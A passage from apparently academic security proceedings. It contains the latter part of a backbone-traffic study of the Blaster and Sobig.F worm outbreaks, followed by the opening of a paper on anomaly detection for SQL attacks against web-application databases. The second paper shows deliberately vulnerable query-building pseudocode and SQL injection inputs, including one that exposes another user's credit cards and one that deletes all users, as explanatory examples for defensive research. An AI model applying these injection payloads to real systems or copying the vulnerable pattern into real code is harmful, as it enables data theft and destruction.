port 135/TCP filter installed at a border router of AS559. We can observe another but
smaller drop of infection attempts coming from external hosts, decreasing since 2:40
on August 13th with its lowest point around 5:00. This is most probably also an effect
of manual port filtering.

The first peak of stage C is between 9:20 and 10:20 on August 12th, with around
15’000 infection attempts. Our analysis showed that around 70% of the stage C in-
fection attempts in that interval came from one single /16 network. The vast majority
of the victims of these infection attempts were in the next higher /16 net lying out-
side of AS559. These connections were probably generated by Blaster scanning the
local subnet, but the scanned addresses were constantly increased by one and suddenly
pointed out of the local subnet and therefore the infection attempts were routed over the
SWITCH border gateways. At the same time interval the infected hosts of that subnet
generated only 29 stage D and not a single stage E infection attempt. The reason for
this lack of successful infections may be that in the destination subnet the hosts were
already patched.

Many similar IP-neighbourhood attacks happen during the second significant in-
crease of stage C occurrences starting around 15:20 on August 14th. The majority
of attacks originate in one single /16 network and most destinations are in the next
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higher /16 network lying outside of AS559. In that network, most hosts were appar-
ently also already patched as almost no successful infections were observed. We can
deduce, that choosing as backscatter or honeypot network one with IP addresses ad-
jacent to small internal subnetworks can help reducing the time for the detection of
worms that scan IP addresses linearly increasing.

The reason why these scans show up as peaks in the plot is probably that most of the
hosts were infected in a small time range internally and therefore started their scanning
around the same time. Consequently, they also reach the next network at the same time
and when they have passed the address space of that subnet, they came probably to a
network less populated or with some filtering, which caused a drop of stage C infection
attempts. Their scanning then appears as stage A or stage B.

The plot of stage C shows a small peak of 631 infection attempts on August 10th
in the hour of 19:20 - 20:20 UTC before the massive outbreak of Blaster. A single
host becoming active around 19:40 is responsible for 80% (522) of these attempts. At
that time, the exploit code used by Blaster was already published. From that specific IP
address we observed a scanning of port 135/TCP and for the addresses that the scanning
was successful the exploit code was sent. It is possible that this was some testing in the
development phase of Blaster, but more likely someone just tried out the exploit code
for fun or for some abuse.

Successful Infections. The stage E plot of successful Blaster infections shows a peak
at the right end with 35 infections within 3 hours, from 21:20 to 0:20 on August 15th.
29 of these infections originate from one host and have their victims in the same /17
network range. This host obviously scanned by chance a network with many vulnerable
hosts. A surprise in Figure 6 is, that despite the high number of Blaster infected hosts
worldwide, we can only observe very few successful infections going over SWITCH’s
border routers. Over the analysed time period, from the outbreak, on August 11th, to
August 16th, 0:20, we observed only 215 successful infections in total. 76% of the
observed infections originate from within AS599 and 24% are from external hosts. 73
different hosts have successfully infected others. The reason for this low number is that
the vast majority of successful infections happened within the local networks and did
not cross the backbone border routers. The ten most successful hosts have performed
138 (64%) of all observed infections. The hosts in the top ten list scanned networks
with high numbers of vulnerable computers. The 47 infections of the ”winner” all go
to addresses in a range of 13 adjacent /16 networks. The fact that 11 out of the top
21 infecting hosts were found to be in the same /16 network is an evidence that this
network suffers from slow patching procedures.

2.6 Worm Code of Multi-stage Worms: Low Frequency vs. High Threat
Potential

From our backbone measurements we conclude that for multi-stage worms, which use
several different steps before actual worm code is transmitted, the number of observable
hosts that successfully infect others is extremely low (4 hosts during the initial outbreak
per hour in Fig. 6). This is in heavy contrast to the high number of hosts scanning for
vulnerable hosts in Fig. 2.
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The design of Blaster relies on three different connections, one of which was on a
port rarely used (4444/TCP) and the other involved a modestly popular service (TFTP).
As such connections are filtered in many networks, this is a source of errors.

As a consequence, actual worm code (but not exploit code) transmissions are quite
rare in the backbone. This has consequences for e.g. sampling for malicious code in a
backbone, as sampled packet sniffing will almost never capture real worm code. Au-
tomatic detection of worm code and blocking infecting source hosts for multi-stage
worms becomes almost infeasible. Missing even a single successfully infecting host
will destroy the effectiveness of backbone border router worm filtering efforts. Even a
very low frequency of malicious worm code occurrence in the backbone has apparently
still a high threat potential.

2.7 Coarse Grained Analysis

Due to the huge number of possible combinations of protocols, ports, sizes and number
of packets involved in a new worm outbreak, it would be very resource consuming
to constantly watch host activity for new worms on such a fine grained level as we
used it in our Blaster infection attempt analyses. Therefore, we also present the Blaster
outbreak on a more coarse grained level disregarding size and numbers of packets per
flow constraints in the remainder of this section.
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Fig. 7. Blaster worm: ICMP packets per hour

ICMP Measurements. The graph in Fig. 7 shows the total number of ICMP packets
per hour. The ICMP traffic sent from hosts within AS559 and from outside of AS559
are shown separately. We noticed approximately a fivefold increase in the rate of ICMP
packets per hour sent from AS559 and a twofold increase for the ICMP packet rate per
hour sent in total during peak time compared to the base level before the outbreak. This
large backscatter traffic of ICMP messages can be explained by many error notifications
caused by unsuccessful connection attempts to blocked ports and non-existent hosts.

Activity on Port 135/TCP. The graphs in Fig. 8 and 9 show the number of unique
IPv4 source addresses from which connections to port 135/TCP were initiated. Source
hosts are separated into 1) all hosts, 2) hosts within AS559 and 3) others. The plots use
aggregation over one hour respectively 5 minutes observation intervals to build the set
of active hosts. The brackets [ and ] in the hour plots indicate the smaller time window
of the 5 min. plots.
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Fig. 8. Blaster worm: Unique source addresses per hour
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Fig. 9. Blaster worm: Unique source addresses per 5 minutes

We observed around 140 hosts/hour connecting to port 135/TCP in the hours before
the outbreak. There is an interesting small peak of 327 hosts/hour on Sunday, August
10th, 2003, 18:00-19:00 UTC indicated with an arrow. Figure 9 shows that this peak
stems from a single five minute interval starting at 18:35. In this interval, 263 hosts
connect to port 135/TCP. We assume that the peak was either a preliminary version of
Blaster that was used to test-run a generation limited infection or that it was a scan to
identify an initial host population to be infected or someone just playing with the RPC
DCOM exploit code. There might have been more such tests, but they are less visible.
From the stage C analysis in Section 2.5, we remember the increased infection attempt
activity also involving 4444/TCP connections around 19:40 - 20:10 UTC.

The primary Blaster outbreak, which is indicated by a small vertical arrow on the
time axis in all Blaster plots, starts on Monday, August 11th, 2003, around 16:35 UTC
with 64 hosts from outside AS559 connecting per 5 minutes (Fig. 9), but increases to
96 hosts at 16:55 and then sharply to 832 hosts active per 5 min at 18:15. A rather
chaotic phase without major increase follows. The hour plot shows a peak of about
5’500 hosts scanning on 135/TCP on 11th during the hour 19:00-20:00. The number of
active source hosts increases again when hosts within AS559 begin to contribute in the
interval August 12th, 2003, 6:00-7:00 (Fig. 8), reaching 1030 active internal hosts per
hour in the interval 11:00-12:00. Figure 9 shows that around 6:50 (8:50 CEST) many
hosts within AS559 became infected by Blaster. This can be explained by the start of
the working day in Switzerland. We assume that most of the vulnerable hosts in AS559
were not running during the night.
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Fig. 10. Blaster worm: Flows to 135/TCP per hour
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Fig. 11. Blaster worm: Flows to 135/TCP per 5 minutes

Another remarkable event is the sudden drop of outside connection attempts on
August 12th, 2003, 8:30-9:10. This drop is due to temporary blocking of port 135/TCP
on some of the AS559 border routers for incoming connections by SWITCH. This
ingress filter proves mostly ineffective as a countermeasure to stop the fast increase
in the number of new internal host infections. However, if a complementary egress
filter were installed at the same time as the ingress filter was activated, this would have
prevented up to a thousand AS559 internal hosts per hour from trying to infect AS559
external hosts. A similar filtering effect can be seen around 2:40 on the 13th. This port
filter is also only partially effective.

Activity on Port 4444/TCP. As explained in Section 2.3, a successful transmission
of the exploit code to 135/TCP makes Blaster connect to 4444/TCP, where it tries to
initiate a remote download. Figure 12 shows the number of flows per hour to destination
port 4444/TCP. Several significant short peaks of scan traffic to this port from hosts
outside of AS559 can be seen. An analysis with 5 minute buckets revealed that these
traffic peaks were constrained to 15-20 minutes of high activity and that the number
of unique source IP addresses connecting to port 4444/TCP did not show significant
changes during these flow peaks. We conclude that the first flow peak might result from
a pre-test of a propagation-limited Blaster-like worm, and the other peaks might result
from a few network operators scanning the network for open 4444/TCP ports.

Activity on Port 69/UDP. A Blaster victim that has received the correct RPC exploit
code and the TFTP download command initiates a connection to the Blaster-infected
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Fig. 12. Blaster worm: Flows to 4444/TCP per hour
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Fig. 13. Blaster worm: Bytes to 69/UDP per hour
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Fig. 14. Blaster worm: Bytes from 69/UDP per hour
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Fig. 15. Blaster worm: Unique source addresses (dest. 69/UDP) per hour
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host on port 69/UDP and tries to download the worm code with the trivial file transfer
protocol (TFTP). Hence, we expect to see many connections with little payload to this
port containing mainly the TFTP commands to fetch the worm code. If this is success-
ful, we should see larger amounts of data being sent from source port 69/UDP of the
Blaster-infected host back to the victim.

The plots of bytes per hour to destination port 69/UDP in Figure 13 shows a base
level of about 15 · 103 to 20 · 103 bytes per hour. There is a huge peak of 2.5 · 105

bytes in the hour from 16:00-17:00 on August 10th. For 92% of this peak traffic, hosts
from AS559 are responsible. The plot for the traffic originating from port 69/UDP in
Figure 14 reveals that these connections were apparently unsuccessful as almost no
data was downloaded. It also shows (indicated by the first arrow from left) that between
18:00-19:00 on 11th worm code was almost exclusively downloaded from hosts outside
AS559. With a two hour delay (indicated by the second arrow from left), worm code
is almost exclusively uploaded. However, these peaks of roughly 70’000 bytes each
only account for about 10 worm code copies of 6’592 bytes transmitted during each
peak. The third arrow from left in the plot of Figure 14 indicates, that after 12th 23:00
the vast majority of total bytes transmitted from source port 69/UDP was sent from
infected hosts within AS559 to outside hosts.

The analysis of the activity of unique source addresses sending traffic to destination
port 69/UDP as shown in Figure 15 reveals a peak of about 160 unique IP addresses
that were involved in the probable pre-test phase of the worm. About 250 flows with an
average size of 1.4 kB go to port 69/UDP from AS559. Figure 13 shows the increased
bytes per hour activity. The small number of 1.5 flows per involved host on average
indicates that this was not UDP scan traffic to port 69/UDP as one might have expected
but rather small file transfers.

3 E-Mail Worm Sobig.F

3.1 Outbreak of Sobig.F

On August 19th, 2003, the W32/Sobig.F [2] e-mail worm that runs on Microsoft Win-
dows 95 or higher first appeared in the Internet. Besides spreading via executable e-mail
attachments of varying sizes and providing its own MTA for sending e-mail, the worm
is programmed to update itself at predefined dates by downloading new code from pre-
defined computers. By timely intervention of network operators and system adminis-
trators this update mechanism could be blocked by shutting down all 20 predefined
servers. The original worm was programmed to disable itself on the 10th of September
2003. Date and time are taken from a small set of hardcoded global time servers (NTP).
The e-mails sent use an arbitrary sender and recipient address taken from local files of
the infected host. This type of social engineering is obviously intended to fool users to
open attachments seemingly from people they know.

The graph in Fig. 17 shows the total number of bytes per hour transmitted as e-mail
(SMTP) traffic over the SWITCH border routers. A daily rhythm can clearly be seen.
The five working-days have rather heavy traffic with a maximum around 5 Gigabytes
per hour, whereas on Saturdays and Sundays the traffic is considerably less. The lunch
break can be identified easily during weekdays.
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On Tuesday, August 19, 2003 there is a huge increase in bytes transmitted over
SMTP that rises up to around 21.7 Gigabytes/hour at 12:00-13:00 UTC, which is four
to five times more than ordinary. This can be regarded as the outbreak of the Sobig.F
worm. The plot clearly shows that the vast majority of the border e-mail traffic during
the massive outbreak is originating from within AS559.

The graph in Fig. 18 shows the number of flows per hour split by origin of the e-
mail sender. Interestingly, late on Monday 18th of August 2003 there is a short peak
of flows coming from outside AS559. An analysis showed that the number of unique
hosts did not rise significantly during this peak. Therefore we assume this to be scanning
traffic for SMTP hosts originating from a few hosts only. During the actual outbreak,
the number of unique hosts sending e-mail from AS559 shows significant peaks.

3.2 Identification of Sobig.F E-Mails

In our NetFlow flow-level data, normally one flow corresponds to one e-mail delivered
by SMTP. We used the size of Sobig.F infected e-mails to filter out Sobig.F e-mails
from the total SMTP traffic observed.

The Testbed. In order to observe Sobig.F traffic at packet-level we used a testbed with
an attacking host (Sobig.F on Windows XP) and a server (see Fig. 16). On the server
(Linux Fedora Core1) we installed the services NTP, MTA and DNS. Sobig.F uses a
hardcoded list of NTP servers to check that the current date is earlier than September
10th, 2003 before activation. We chose 129.132.2.21 for our server from this list. The
DNS service (bind) was configured to resolve all name queries (for A and MX DNS
records) from the attacker to the server IP address (129.132.2.21) so that the e-mails
from Sobig were all sent to the MTA (sendmail) running on our server. The packet
capturing was done on the server machine.

NTP (< 09/10/2003)
123/udp

53/udp
DNS (named)

infected
host

Sobig.F Server

MTA (sendmail)
25/tcp

129.132.2.21

129.132.2.20

Fig. 16. The testbed for Sobig.F

Observed Worm Transmissions. In the testbed we captured the packets of several
successful Sobig.F transmissions and observed an average of about 100 port 25/TCP
packets sent from attacker to MTA with a total size (including IP and TCP headers) of
about 104’000 bytes. The flows in the other direction consisted of about 40 packets with
a total size of about 2’000 bytes.

For e-mails rejected by black- or whitelist spam filters, the flow from attacker to
MTA consists of 8 packets with a total size of about 400 bytes, while the flow in the
opposite direction shows 11 packets with a total size of about 850 bytes.
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Fig. 17. Sobig.F worm: SMTP traffic volume per hour
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Fig. 18. Sobig.F worm: SMTP flows per hour
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Fig. 19. SMTP flow size distribution before and during Sobig.F
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Flow Size Distribution. The large worm size of about 100 Kbytes and the aggressive
spreading algorithm caused many retransmissions by TCP during Sobig.F propagation
as can be clearly seen in Figure 19 that shows the two histograms of e-mail sizes for
a one hour interval during Sobig.F (on August 19th, from 12:20 to 13:20) and for the
same hour the day before. The wide peak of successfully transmitted Sobig.F e-mails,
starting at about 103’000 bytes then decreasing at about 109’000 bytes but still being
significant up to about 125’000 bytes can easily be seen.

Further analyses showed that there are about twice as many flows of size 0 -
1’000 bytes (probably rejected e-mails) during the initial outbreak hour as compared
to the day before. There were also some noticeable sharp peaks between 4’800 bytes
and 5’100 bytes. Further analyses showed that all these peaks originate from flows with
only two source addresses in the same subnet. As Sobig.F infected hosts could be used
as open mail relay, these servers might have been abused for sending spam.

Number of Worm Transmissions. Figure 20 shows the plot of the number of flows
with a size between 103’000 and 125’000 bytes, from which we can assume that they
originate from successfully transmitted Sobig.F e-mails. As the number of e-mails in
that size range was 350 on August 18th, 12:20 to 13:20 and starts to rapidly increase on
August 19 at about 09:00, this can be regarded as the Sobig.F outbreak. The number of
successful transmissions raises drastically until about 12:00 and then starts to decrease
until the end of the working day at about 18:00. The peak of 137’000 transmissions
on August 19 is by far the highest, on August 20 the peak reaches about 100’000 and
on August 21 50’000 transmissions were counted. The decreasing heights of the peaks
can be explained by people updating their anti-virus software and cleaning up their
machines.

4 Conclusions

Our observations have shown that spreading events of massive worms can clearly be
seen in overall traffic statistics of Internet backbones. Worms are a major threat to the
reliability of Internet services, especially as those worms seen so far did not aim at
disrupting Internet services by launching attack code but merely focused on fast and
worldwide propagation.

We have seen some indication for test runs or preliminary scanning several hours be-
fore the actual Blaster outbreak. One consistent effect in all our observations is the time-
skew between incoming infection traffic and infection traffic originating from AS559.
This is due to the fact that most vulnerable computers were switched off during the
night and that e-mail worms like Sobig.F require the attention by a user (e.g. executing
an attachment) for an infection. This time window could be used for taking preventative
countermeasures if early detection of new worms were available in backbone networks.

Blaster is a multi-stage worm, which uses several protocols and connections for
data exchanges before actual worm code is transmitted. Our analyses have shown that
this multi-stage nature together with Blaster’s preference for local scanning over global
scanning for vulnerable hosts has surprising consequences: only very few successfully
infecting hosts and consequently almost no worm code can be detected (and possibly
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filtered) in the backbone traffic. Nevertheless, these few successful infections over the
international backbone had devastating consequences for the local networks. Conse-
quently, automated effective blocking of actual worm code on backbone border routers
is almost infeasible as only a few missed worm code transmissions will completely de-
stroy the success of such security efforts. Furthermore, automated efficient capturing
of new worm code in the backbone becomes a challenge due to the scarcity of such
transmissions (this holds at least in the case of Blaster). The few worm code instances
observed are not to be confused with the heavy scanning traffic and RPC exploit code
that is sent in the first steps of a Blaster infection and which were transmitted quite
frequently.

In addition, the ineffectiveness of simple ingress port blocking filters on routers in
the hope to stop a further increase of internal infections was illustrated for Blaster. It was
also shown, that AS559-external networks with IP addresses adjacent to AS559-internal
networks were more heavily attacked than others due to Blaster’s incremental scanning
algorithm. Choosing as backscatter or honeypot network one with IP addresses adjacent
to small internal subnetworks can help reducing the time for detection of worms that
scan IP addresses linearly increasing. Several challenges to extracting actual malicious
traffic at flow-level were stated such as the sporadic use of a TCP option field for the
maximum segment size in SYN packets that enlarges the packet header and frequent
packet retransmissions by TCP that both let the measured flow vary in size and con-
sequently lower the accuracy of simple flow size filters. Finally, we discovered that 11
hosts of the top 21 successfully infecting hosts were in the same /16 network, which is
an evidence that this specific network suffers from slow patching procedures.

As a consequence of the Blaster and Sobig.F analyses, the authors developed algo-
rithms for early detection of worm outbreaks in the backbone that were successfully
validated on our archived DDoSVax NetFlow data of past worms. One is based on a
classification of the hosts’ traffic behaviour [23], another one tracks the entropy of the
IP addresses and the TCP and UDP ports [24] seen.

Further research on and measurement analyses of worms and countermeasures are
vital for a better understanding of worm propagation and the development of effective
countermeasures, especially as worm authors get more and more sophisticated.
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Abstract. Web-based systems are often a composition of infrastruc-
ture components, such as web servers and databases, and of application-
specific code, such as HTML-embedded scripts and server-side applica-
tions. While the infrastructure components are usually developed by ex-
perienced programmers with solid security skills, the application-specific
code is often developed under strict time constraints by programmers
with little security training. As a result, vulnerable web-applications are
deployed and made available to the Internet at large, creating easily-
exploitable entry points for the compromise of entire networks.

Web-based applications often rely on back-end database servers to
manage application-specific persistent state. The data is usually extracted
by performing queries that are assembled using input provided by the
users of the applications. If user input is not sanitized correctly, it is
possible to mount a variety of attacks that leverage web-based applica-
tions to compromise the security of back-end databases. Unfortunately,
it is not always possible to identify these attacks using signature-based
intrusion detection systems, because of the ad hoc nature of many web-
based applications. Signatures are rarely written for this class of applica-
tions due to the substantial investment of time and expertise this would
require.

We have developed an anomaly-based system that learns the profiles
of the normal database access performed by web-based applications us-
ing a number of different models. These models allow for the detection
of unknown attacks with reduced false positives and limited overhead. In
addition, our solution represents an improvement with respect to previ-
ous approaches because it reduces the possibility of executing SQL-based
mimicry attacks.

Keywords: Intrusion Detection, Machine Learning, Web Attacks, Data
bases.

1 Introduction

Web-based applications have become a popular way to provide access to services
and dynamically-generated information. Even network devices and traditional
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applications (such as mail servers) often provide web-based interfaces that are
used for administration as well as configuration.

Web-based applications are implemented using a number of server-side ex-
ecutable components, such as CGI programs and HTML-embedded scripting
code, that access back-end systems, such as databases1. For example, a popular
platform to develop web-based applications is a combination of the Linux oper-
ating system, the Apache web server, the MySQL database engine, and the PHP
language interpreter, which, together, are referred to as a “LAMP” system.

Unfortunately, while the developers of the software infrastructure (i.e., the
developers of web servers and database engines) usually have a deep understand-
ing of the security issues associated with the development of critical software,
the developers of web-based applications often have little or no security skills.
These developers mostly focus on the functionality to be provided to the end-
user and often work under strict time constraints, without the resources (or the
knowledge) necessary to perform a thorough security analysis of the applications
being developed. The result is that poorly-developed code, riddled with security
flaws, is deployed and made accessible to the whole Internet.

Because of their immediate accessibility and their poor security, web-based
applications have become popular attack targets and one of the main avenues by
which the security of systems and networks are compromised. In addition, the
large installation base makes both web applications and servers a privileged tar-
get for worm programs that exploit web-related vulnerabilities to spread across
networks [6].

Existing prevention systems are often insufficient to protect this class of
applications, because the security mechanisms provided are either not well-
understood or simply disabled by the web developers “to get the job done.”
Existing signature-based intrusion detection systems are not sufficient either.
Web-applications often implement custom, site-specific services for which there
is no known signature, and organizations are often unwilling or unable to commit
the substantial time and expertise required to write reliable, high quality signa-
tures. Therefore, prevention mechanisms and signature-based detection systems
should be complemented by anomaly detection systems, which learn the nor-
mal usage profiles associated with web-based applications and identify attacks
as anomalous deviations from the established profiles.

This paper presents an anomaly detection approach for the detection of at-
tacks that exploit vulnerabilities in Web-based applications to compromise a
back-end database. Our approach uses multiple models to characterize the pro-
files of normal access to the database. These profiles are learned automatically
during a training phase by analyzing a number of sample database accesses.
Then, during the detection phase, the system is able to identify anomalous
queries that might be associated with an attack.

1 Web-based applications also use client-side execution mechanisms, such as JavaScript
and ActiveX, to create richer user-interfaces. However, hereinafter we focus only on
the server-side part of web-based applications.
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We developed an intrusion detection system based on our approach by lever-
aging an object-oriented framework for the development of anomaly detection
systems that we implemented as part of our previous research [1]. The framework
allowed us to implement a working system with reduced effort. The evaluation
of our preliminary prototype shows that our approach is able to detect unknown
attacks with a limited number of false positives.

This paper is structured as follows. Section 2 discusses several classes of
attacks against database systems. Section 3 discusses related work. Section 4
presents our intrusion detection tool. Section 5 describes the anomaly detec-
tion models used to characterize normal behavior. Next, Section 6 discusses the
evaluation of our tool. Finally, Section 7 draws conclusions and outlines future
work.

2 SQL-Based Attacks

In this paper we consider three classes of SQL-based attacks. SQL injection,
which allows the attacker to inject strings into the application that are inter-
preted as SQL statements, Cross-site scripting, which allows for the execution
of client-side code in privileged contexts, and data-centric attacks, which allow
the attacker to insert data which are not part of the expected value range into
the database.

2.1 SQL Injection

SQL injection is a class of attacks where un-sanitized user input is able to change
the structure of an SQL query so that when it is executed it has an unintended
effect on the database. SQL injection is made possible by the fact that SQL
queries are usually assembled by performing a series of string concatenations of
static strings and variables. If the variables used in the creation of the query
are under the control of the user, she might be able to change the meaning of
the query in an undesirable way. Consider a web-based application that lets the
user list all her registered credit cards of a given type. The pseudocode for this
functionality might be as follows:

uname = getAuthenticatedUser()
cctype = getUserInput()
result = sql("SELECT nb FROM creditcards WHERE user=’"

+ uname + "’ AND type=’" + cctype +"’;")
print(result)

If the user bob does a search for all his VISA cards the following query would
be executed: SELECT nb FROM creditcards WHERE user=’bob’ AND
type=’VISA’;. This example code contains an SQL injection vulnerability. If
Bob wants to view all the credit cards belonging to user alice he could ask
for a list of cards of type ’ OR user =’alice. This would cause the following
query to be executed: SELECT nb FROM creditcards WHERE user=’bob’ AND
type=’’ OR user=’alice’;. This query returns a list of all Alice’s credit cards
to the attacker.
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The correct implementation of the application shown above should not allow
data supplied by the user to change the structure of the query. In general, the
user-supplied part of the SQL query should not be interpreted as SQL keywords,
table names, field names or operators by the SQL server. The remaining parts of
the SQL query, which we will refer to as constants, consist of quoted strings and
numbers. Before utilizing user data as constants care must be taken to ensure
that all quotes in user-supplied strings are escaped before inserting them into the
SQL query. Similarly, user-supplied numbers must be checked to verify that they
are numbers and not strings. In the example above, SQL injection is possible
because the string cctype is not properly escaped before it is inserted into the
query.

2.2 Cross Site Scripting

Cross site scripting attacks (XSS), are an important class of attacks against
web-based applications. These attacks exploit trust relationships between web
servers and web browsers by injecting a script (often written in JavaScript) into
a server that is not under the control of the attacker. JavaScript [8] is a scripting
language developed by Netscape to create interactive HTML pages. In most
cases, JavaScript code is embedded in HTML code. When a JavaScript-enabled
browser downloads a page, it parses, compiles, and executes the script. As with
other mobile code schemes, malicious JavaScript programs can take advantage of
the fact that they are executed in a foreign environment that contains sensitive
information.

Existing JavaScript security mechanisms are based on sand-boxing, which
only allows the code to perform a restricted set of operations. JavaScript pro-
grams are treated as untrusted software components that have access to a limited
number of resources within the browser. The shortcoming of this solution is that
scripts may conform to the sand-box policy, but still violate the security of the
system.

The general outline of a cross site scripting attack is the following. First,
a malicious user uploads HTML code containing JavaScript to a web service.
Next, if the uploaded code is viewable by other users, the malicious script will
be executed in the victims’ browsers. Since the script originates from the web
server it is run with the same privileges as legitimate scripts originating from the
server. This is a problem if the victim has a trust relationship with the domain
hosting the web server, since the malicious script could be able to access sensitive
data associated with that domain. Often these kinds of attacks are used to steal
login credentials or other personal information from users.

If data submitted by the users of a web-based application is inserted into a
database, cross-site scripting attempts can be observed at the database level and
can be considered a data-centric attack. Since the malicious scripts are visible
in the SQL queries when the data is inserted into the database, it is possible to
detect cross site scripting attempts by observing all values as they are inserted
and alert if any sign of a script is detected.
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2.3 Other Data-Centric Attacks

Other classes of attacks can also be detected by looking at the query constants.
For instance, it is often the case that a certain database field should only take on
a limited number of values. A usertype field might have the values of Employee
or Contractor. If a usertype of xxx is seen, this might be evidence of an attack.

A more complex data-centric attack is the two-step SQL injection attack. In
this case, the attacker inserts a specially crafted string into the database that
causes an SQL injection when it is processed at a later time. As an example of
this attack, consider the following scenario. A web site allows users to sign up
with whatever username they desire. The web site periodically deletes inactive
users with the following script:

old = now() - 3 months
users = sql("SELECT uname FROM users

WHERE last_login < "+old+";")
for u in users:

sql("DELETE FROM users WHERE uname=’" + u + "’;")

If a user is allowed to sign up with any username this code is vulnerable to
a two-step SQL injection attack. The attacker first creates a user named ’ OR
’1’ = ’1. Assuming the user creation code is free from SQL injection vulnerabil-
ities, the system correctly creates a new user with the following SQL statement:
INSERT INTO USERS VALUES (’\’ OR \’1\’ = \’1’);. Note that this is not
an SQL injection attack since all user supplied quotes are properly escaped. The
true attack is executed when the periodical cleanup script is run and the script
tries to delete this user. Because of the carefully selected username, the script
generates the following query to delete the user: DELETE FROM users WHERE
uname=’’ OR ’1’ = ’1’;. Since the expression ’1’ = ’1’ is always true, this
statement would delete all users in the database.

3 Related Work

Learning-based anomaly detection represents a class of approaches that relies
on training data to build profiles of the normal, benign behavior of users and
applications. Various types of learning-based anomaly detection techniques have
been proposed to analyze different data streams. A common approach is to use
data-mining techniques to characterize network traffic. For example, in [16] the
authors apply clustering techniques to unlabeled network traces to identify intru-
sion patterns. Statistical techniques have also been used to model the behavior
of network worms [14]. Other approaches use statistical analysis to characterize
user behavior. For example, the seminal work by Denning builds user profiles
using login times and the actions that users perform [7].

A particular class of learning-based anomaly detection approaches focuses
on the characteristics of specific applications and the protocols they use. For
example, in [9] and [23] sequence analysis is applied to system calls produced
by specific applications in order to identify “normal” system call sequences for a
certain application. These application-specific profiles are then used to identify
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attacks that produce previously unseen sequences. As another example, in [15]
the authors use statistical analysis of network traffic to learn the normal be-
havior of network-based applications. This is done by analyzing both packet
header information (e.g., source/destination ports, packet size) and the contents
of application-specific protocols.

Our approach is similar to these techniques because it characterizes the be-
nign, normal use of specific programs, that is, databases that are accessed by
web-based applications. However, our approach differs in two ways. First of all,
we employ a number of different models to characterize the behavior of web-
based applications. By using multiple models it is possible to reduce the suscep-
tibility of the detection process to mimicry attacks [22, 20]. Second, the models
target specific types of applications and, therefore, they allow for more focused
analysis of the data transferred between the client (the attacker) and the server-
side program (the victim). This is an advantage of application-specific intrusion
detection in general [11] and of web-based intrusion detection in particular [12].

The detection of web-based attacks has recently received considerable atten-
tion because of the increasingly critical role that web-based services are playing.
For example, in [2] the authors present a system that analyzes web logs looking
for patterns of known attacks. A different type of analysis is performed in [3]
where the detection process is integrated with the web server application itself.
In [21], a misuse-based system that operates on multiple event streams (i.e.,
network traffic, system call logs, and web server logs) is proposed. Also, a com-
mercial systems exists that analyzes HTTP requests [24]. Systems that focus on
web-based attacks show that, by taking advantage of the specificity of a particu-
lar application domain, it is possible to achieve better detection results. However,
these systems are mostly misuse-based and therefore suffer from the problem of
not being able to detect attacks that have not been previously modeled. Our
approach is similar to these systems because it focuses on web-based applica-
tions. However, the goal of our tool is to perform autonomous, learning-based
anomaly detection requiring minimal human oversight. The tool can be deployed
on a host that contains custom-developed server-side programs and are able to
automatically derive models of the manner in which these programs access a
back-end database. These models are then used to detect known and unknown
attacks.

Prior work by Lee, et al. has considered the application of learning techniques
to the problem of identifying web-based attacks on databases [13]. Lee primar-
ily focuses on recognizing SQL injection attacks as queries that are structurally
dissimilar from normal queries observed during a training period. SQL injec-
tion vulnerabilities appear in server-side executables (e.g., applications invoked
through the Common Gateway Interface) when values supplied by the client are
used directly to assemble SQL queries issued by the executable, with little or no
input validation checks.

While the structure matching approach proposed by Lee addresses this prob-
lem, we note that a form of mimicry attack is possible against such a detection
mechanism. In particular, large-scale web sites may contain hundreds of server-
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side executables that may each be capable of issuing multiple database queries.
A mimicry attack is possible in a system monitored by a system such as Lee’s if
the attacker is able to construct a malicious SQL query that structurally matches
one of the queries legitimately issued by any other part of the system.

Our system addresses this potential shortcoming by maintaining associations
between individual server-side executables and the structure of the queries they
issue. We note that an additional, more restrictive mimicry attack is possible
against systems containing executables that issue multiple queries. In this case,
if an attacker is able to find another query structure within a single server-side
executable that matches the structure of her attack query, the attack will not be
detected. Tracking associations at a finer level of detail is possible (e.g., through
instrumentation of executables), and will be implemented in a future version of
our system.

4 Detecting Anomalous SQL Queries

We have developed an intrusion detection system that utilizes multiple anomaly
detection models to detect attacks against back-end SQL databases. In the fol-
lowing we describe the architecture of our system. Then, in section 5 we de-
scribe further the models used by our system. Figure 1 shows an overview of the
architecture of our system. The system taps into the communication channel
between web-based applications and the back-end database server. SQL queries
performed by the applications are intercepted and sent to the IDS for analysis.
The IDS parses the SQL statements and selects what features of the query should
be modeled. A type inference process is performed on the selected features in
order to support the selection of correct statistical models to be applied to the
event, before a profile is selected. A profile is a collection of models, which the
features are fed to in order to train the set of models or to generate an anomaly
score.

Our system is a learning-based anomaly detector, and thus requires that a
training phase is performed prior to detection. The training phase is divided
into two halves. During the first half of the training phase, the data fed to the

Fig. 1. Overview of the System
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models is used for building the profiles associated with the models’ parameters.
It is assumed that the data processed in the training phase is attack-free and,
therefore, during this phase the models learn what normal queries look like. In
the second half of the training phase, the model parameters are not updated.
Instead an anomaly score is calculated based on how well the processed features
fit the trained models. For each model, the maximum anomaly score seen during
the second half of the training period is stored and used to set an anomaly
threshold.

During the following detection phase, anomaly scores are calculated for each
query. If an anomaly score exceeds the maximum anomaly score seen during
training by a certain tunable percentage, the query is considered anomalous and
an alert is generated.

4.1 Event Provider

The event provider is responsible for supplying the intrusion detection system
with a stream of SQL queries. It is important that the event provider report
every SQL statement performed by the monitored application. Since nothing
can be assumed about the quality of the application, the provider does not rely
on application-specific mechanisms to perform the reporting. The event provider
operates on the application server, because the server environment has access
to information about the process performing the query and can log security-
relevant information, such as the filename of the script currently executing. The
logging is implemented by utilizing modified versions of the system libraries that
provide connectivity between the application and the database.

4.2 Parser

The parser processes each incoming SQL query generating a high level-view of
the query. The parser outputs this representation as a sequence of tokens. Each
token has a flag which indicates whether the token is a constant or not. Constants
are the only elements of an SQL query that should contain user supplied input.

Tokens representing database field names are augmented by a datatype at-
tribute. The datatype is found by looking up the field name and its correspond-
ing table name in a mapping of the database. This mapping is automatically
generated by querying the database for all its tables and fields. The generated
mapping can be updated by the user if it is desirable to describe the datatype
of a field more accurately. For instance a field in the database might be of type
varchar, which implies arbitrary string values, but the user could change this
type to XML in order to inform the IDS that the field contains an XML repre-
sentation of an object. The set of available data types is user-extensible and the
IDS offers an easy interface to specify how new data types should be processed
by the intrusion detection system.

Type inference is also performed on the constants contained in the query
using the following rules:
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– A constant that is compared to a field using an SQL operator has its data
type set to the data type of the field it is compared to.

– A constant that is inserted into a table has its datatype set to the datatype
of the field it is inserted into.

4.3 Feature Selector

